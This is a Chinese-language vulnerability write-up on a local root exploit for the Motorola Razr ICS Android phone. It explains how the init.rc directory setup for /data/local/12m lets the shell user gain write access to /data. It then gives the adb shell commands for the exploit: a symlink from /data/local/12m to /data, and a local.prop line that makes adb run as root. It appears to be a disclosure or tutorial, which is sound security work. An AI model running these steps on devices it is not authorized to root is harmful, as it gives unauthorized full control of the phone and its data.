一、漏洞简介:
Motorola Razr ICS手机存在/data/local/12m目录,该目录由init进程在设备启动时创建并chown到shell用户组,且赋予shell用户组对该目录的rwx权限。因此我们可以通过adb shell创建/data/local/12m到/data目录的软链接,这样设备重启后,init进程对/data/local/12m目录的所有操作就会转换为对/data目录的操作,shell用户组就具有了对/data目录的rwx权限,我们可以通过修改/data/local.prop配置文件来使adb shell在设备重启后以root身份运行。
二、漏洞与利用详情:
Motorola Razr ICS 手机启动过程中,init进程通过读取init.rc配置文件完成初始化任务,init.rc文件存在如下内容:
mkdir /data/local 0771 mot_tcmd shell
mkdir /data/local/tmp 0771 mot_tcmd shell
mkdir /data/local/12m 0771 mot_tcmd shell
mkdir /data/local/12m/batch 0771 mot_tcmd shell
chown mot_tcmd shell /data/local
chown mot_tcmd shell /data/local/12m
chown mot_tcmd shell /data/local/12m/batch
chown mot_tcmd shell /data/local/tmp
init.rc相关语法:
mkdir <path> [mode] [owner] [group]
Create a directory at <path>, optionally with the given mode, owner, and
group. If not provided, the directory is created with permissions 755 and
owned by the root user and root group.
chown <owner> <group> <path>
Change file owner and group.
可见/data/local目录对shell可写,那我们可以利用shell在该目录下进行ln -s链接操作(操作前先备份原文件或文件夹):
adb shell
mv /data/local/12m /data/local/12m.bak
ln -s /data /data/local/12m
重启手机后系统会执行init.rc,对/data/local/12m的操作实际执行是对/data目录的操作,这样/data目录属性被修改为:
drwxrwx–x mot_tcmd shell 2013-12-20 10:58 data
接下来修改/data/local.prop文件进行修改:
rm /data/local/12m
mv /data/local/12m.bak /data/local/12m
mv /data/local.prop /data/local.prop.bak
echo “ro.sys.atvc_allow_all_adb=1″ >> /data/local.prop
(“ro.sys.atvc_allow_all_adb”是Motorola系统特有的设置,置1后重启,adb即拥有root权限。)
至此,我们已可以通过adb对该手机进行任何操作。